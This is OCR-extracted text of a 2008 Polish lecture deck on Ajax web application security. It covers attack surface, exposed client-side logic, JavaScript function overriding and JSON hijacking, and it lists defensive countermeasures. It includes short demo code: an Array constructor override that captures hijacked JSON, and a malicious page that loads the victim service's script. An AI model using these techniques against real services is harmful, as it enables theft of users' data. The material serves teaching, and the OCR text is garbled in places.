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Web 2.0

e Zawartosc¢ tworzona przez uzytkownikow
e WYysoka interaktywnosc¢

e Aplikacja webowa platformg do dziatan
uzytkownikow
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Web 2.0 - konsekwencje

e Brak kontroli nad trescig serwisu przez jego
tworce

e Zwiekszenie powierzchni ataku

e Aplikacja webowa platformg do wykonywania
atakow na uzytkownikow
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Ajax

e Nowe podejscie do wykorzystania juz
Istniejgcych technologil
XHTML i CSS
Document Object Model
XML I XSLT
XMLHttpRequest
JavaScript
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Ajax

e Asynchronicznosc

e Kod wykonywany | widoczny po stronie
Klienta

e Komunikacja z serwerem nie tylko na
zyczenie uzytkownika

e Zwiekszenie ,usabllity” oraz ,responsiveness”
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Thick - Thin

Thick-Client

Thin-Client

Logika aplikacji u klienta
Potrzeba instalacii

Maty czas odpowiedzi
Utrudniona modyfikacja aplikacji
Przyjazny interfejs

Logika aplikacji na serwerze
Brak potrzeby instalacji
Duzy czas odpowiedzi
Prosta modyfikacja aplikacji
Uproszczony interfejs

A gdzie jest Ajax?

2 grudnia 2008r.

Ajax a bezpieczenstwo aplikacji webowych




Thick - Thin

Thin-Client

Logika aplikacji na serwerze

[Thick-Client

Potrzeba instalaciji

Duzy czas odpowiedzi

Utrudniona modyfikacja aplikacji

Uproszczony interfejs

Potaczenie najbardzie] pozgdanych cech!!!
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Bezpiecze nstwo

Thick-Client

Thin-Client

Logika aplikacji u klienta

Wiadomosci wysytane pomiedzy
serwerem i klientem trudne do
odczytania

Aplikacja dostepna tylko dla
posiadaczy programu klienckiego

Logika aplikacji na serwerze

Wiadomosci wysytane pomiedzy
serwerem i klientem tatwe do
odczytania

Aplikacja dostepna dla wszystkich

A gdzie jest Ajax?
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Bezpiecze nstwo

[Thick-Client

Thin-Client

Logika aplikacji na serwerze

Wiadomosci wysytane pomiedzy
serwerem i klientem trudne do
odczytania

Aplikacja dostepna tylko dla
posiadaczy programu klienckiego

Potaczenie najmniej pozgadanych cech !!!
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Doskonate pot gczenie

e Aplikacje Ajax w stosunku do aplikacj
,klasycznych”
Bardziej ztozone
Bardziej transparentne
Wieksze

e Skutek: Doskonate potagczenie cech
zmniejszajgcych bezpieczenstwo aplikacii
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Umiej etno sci tworcow

e Nowa technika
e Brak doswiadczenia tworcow

e Brak gruntowne] wiedzy o dziataniu aplikacji
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Rzeczywisto sC

Wysokie wymagania
+

Krotkie terminy
+

Ograniczone mozliwosci szkolenia
+

Dostep do frameworkow

Duza grupa programistow, ktorzy wiedza, ze aplikacja
dziata, ale nie wiedzg jak.
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Atakl na aplikacje webowe

e Wyliczanie zasobow

e Manipulacja parametrami
SQL Injection
XPath Injection

Cross Site Scripting
Przechwytywanie sesji

e Cross Site Request Forgery
e Denial-of-Service
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Atakl na aplikacje Ajax

Wszystkie powyzsze!!!

ale
e Zwiekszona powierzchnia ataku
e \Wglad w kod aplikac]i
e Ataki specyficzne dla Ajax

2 grudnia 2008r. Ajax a bezpieczenstwo aplikacji webowych 15



Powilerzchnia ataku na
aplikacje Ajax

e Pola formularzy

e Cookies

e Nagtowki HTTP

e Ukryte pola formularzy
e Parametry zapytan

e Uploadowane pliki

e Zdalne metody Ajax
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Powierzchnia ataku na sess.

aplikacje Ajax s
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Niebezpiecze nstwa Ajax:
Transparentno sc¢ aplikacjl

Script-lib.js
“ |::> Messages.action getMessages()
Uzytkownik 7 :>
“ I::> Statistics.action |— /| getStatistics()
Administrator 4
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Niebezpiecze nstwa Ajax:

Transparentno sc¢ aplikacjl :

Script-lib.js

=

getMessages()
Uzytkownik

“ I::>Statistics.action_ getStatistics()

=)

Administrator 4
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Niebezpiecze nstwa Ajax:
Transparentno s¢ aplikacjl

e Stan ses|i przechowywany w JavaScript

var songPrice = getSongPrice(songld);

if (getAccountBalance(username) < songPrice)

{
alert(‘Nie posiadasz wystraczj acej ilo sci  srodkow);
return;

}

debitAccount(username, songPrice);
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Niebezpiecze nstwa Ajax:
Transparentno sc¢ aplikacjl

e Ujawnienie danych

<script type="text/javascript">
function processDiscountCode(discountCode) {
if (discountCode =="HALF-OFF-MUSIC") {

window.location = "SecretDiscountOrderForm.html™:

}
}

</script>
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Niebezpiecze nstwa Ajax:
Transparentno s¢ aplikacjl

e Komentarze | dokumentacja w kodzie
e Utatwienie dla atakujgcego

e Nierzadko kompletny opis dziatania,
parametrow oraz przeznaczenia metod
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Niebezpiecze nstwa Ajax:
Transparentno sc¢ aplikacjl

e Manipulowanie danymi po stronie klienta

Select * from users
userld > where userld="userld’ >
userld
name name
creditCardNo

Dziatanie tradycyjnej aplikaciji

@
(—
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Niebezpiecze nstwa Ajax:
Transparentno sc¢ aplikacjl

Select * from users

userld where userld=‘userld’

@

userld userld
name name

creditCardNo creditCardNo

Dziatanie zle zaprojektowanej aplikacji Ajax
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Niebezpiecze nstwa Ajax:
Transparentno s¢ aplikacjl

e Srodki zaradcze
Zaciemnianie kodu

Autoryzowanie wywotywania metod po stronie
serwera

Unikanie zbiorczych bibliotek skryptow

Przesytanie do klienta minimalnego zestawu
danych

Unikanie komentarzy | dokumentacji w kodzie
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Niebezpiecze nstwa Ajax:
Przestanianie funkcji

e Typowo w aplikacjach
wrazliwych na XSS

umozliwiajgcych tadowanie wiasnego kodu JS
(np. JavaScript widget)

rodzaju JavaScript mashup
e Bazuje na fakcie, ze JavaScript pozwala na

przedefiniowanie funkcji (nawet tych
wbudowanych)

e Kto ostatni ten lepszy
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Niebezpiecze nstwa Ajax:
Przestanianie funkcji

<script>
var oldAlert = window.alert;

function newAlert(msg)

{
out = "No i udato si e zamaskowa ¢ funkcj e\n";
out +=msg.toUpperCase();
oldAlert(out);

}

window.alert = newAlert;
alert("Testujemy napisany skrypt");
</script>

2 grudnia 2008r. Ajax a bezpieczenstwo aplikacji webowych

27



Niebezpiecze nstwa Ajax:
Przestanianie funkcji

JavaScript

I <localhost>
|
Mo 1 udato sie zamaskowac funkce

TESTUIEMY MAPISANY SERYPT

[————
CHE

B Zstrzyma) wykonywanie skryptow na te stronie
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Niebezpiecze nstwa Ajax:
Przestanianie funkcji e

Mozliwosci???

Ograniczone niemal jedynie wyobraznig
uzytkownika!
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Same-Origin Policy

e Kod JavaScript moze uzyskac dostep tylko
do dokumentdéw pochodzgcych z te] samej
domeny co on sam.

e Reguta implementowana przez wszystkie
wiodgce przegladarki
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JSON

e Notacja pozwalajgca na przedstawianie tablic
| obiektow w JavaScript

e Definicja tablicy jest interpretowana jako
poprawny kod JavaScript; wywotanie
Konstruktora Array()

[['Jakub", "Wierzgata", "wierzgala@gmail.com"],
["Jan", "Kowalski" kowalski@foobar.com]],
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JSON Hijacking

e Potgczenie ataku CSRF oraz przestaniania
funkcji JavaScript.

e CSRF umozliwia zmuszenie atakowanego
klienta do wystania dowolnego zgdania
HTTP, ale nie pozwala na podejrzenie
odpowiedzi przez atakujgcego

Z pomocg przychodzi przestanianie funkcj
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JSON Hijacking

e Scenariusz:
Atakujgcy tworzy ztosliwg strone
Nadpisuje funkcje konstruujgcg tabele JSON

Na stronie zamieszcza zgdanie HTTP do
atakowanego serwisu

Naktania atakowanego do wejscia na utworzong
strone
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JSON Hijacking

e Przykiad nadpisania konstruktora tabeli

function Array()

{
var foo =this;
var bar = function()
{
var ret = ,Przechwycona tablica: [
for(var xin foo) {
ret += foo[x] + ", ";
}
ret +="]"
/[powiadom atakuj acego (w tym przypadku tylko wy swietlamy)
alert(ret);
I3
setTimeout(bar, 100);
}
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JSON Hijacking

e Zawartosc ztosliwej strony

<html|>
<head>
<title>JSON Hijacking Democ<l/title>
</head>
<body>
<script>
function Array() {<!--wcze $niej pokazany kod-->}
</script>
<!—tadowanie skryptu bezpo srednio z atakowanego serwisu-->
<script src=
"http://www.atakowany.serwis.com/Funkcje/ajaxcalls/ "+
.,metoda.ashx">
</script>
</body>
</html>
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JSON Hijacking

zlosliwa.strona.com

[JSON Array]
GET/HTTP/1.1 HTML

GET metoda.ashx HTTP/1.1
Cookie: AE783F...

Alicja (uzytkownik)

<

[JSON Array]
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JSON Hijacking

e Jak sie zabezpieczyC?

Dodanie niepoprawnej linii kodu przed definicjg
tablicy (np. '"\\ a block of invalid $ynT4x!)

Zamkniecie definicji tablicy wewnatrz komentarza

Dodanie nieskonczonej petli przed definicjg
tablicy

for(;;)

while(1)
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JSON Hijacking

e Jak sie zabezpieczyC?
e Dodanie niepoprawnej linii kodu przed definicjg
tablicy (np. '"\/\ a block of invalid $ynT4x!)
e Zamkniecie definicji tablicy wewnatrz komentarza

e Dodanie nieskonczonej petli przed definicjg
tablicy
for(;;)
while(1)
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Atakl na aplikacje Ajax

e \Wykradanie danych przechowywanych po
stronie klienta

e Atakowanie warstwy prezentac]i

e Atakowanie serwisow typu ,mashup”
e JavaScript Worms

e ... I wiele innych
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Podsumowanie

e Uzycie Ajax zmniejsza bezpieczenstwo
aplikacji

e Niski poziom wiedzy tworcow na temat
dziatania aplikacji

e Niski poziom swiadomosci zagrozen

e Zwiekszenie powierzchni ,starych” atakow

e Nowe rodzaje atakow specyficzne tylko dla
Ajax
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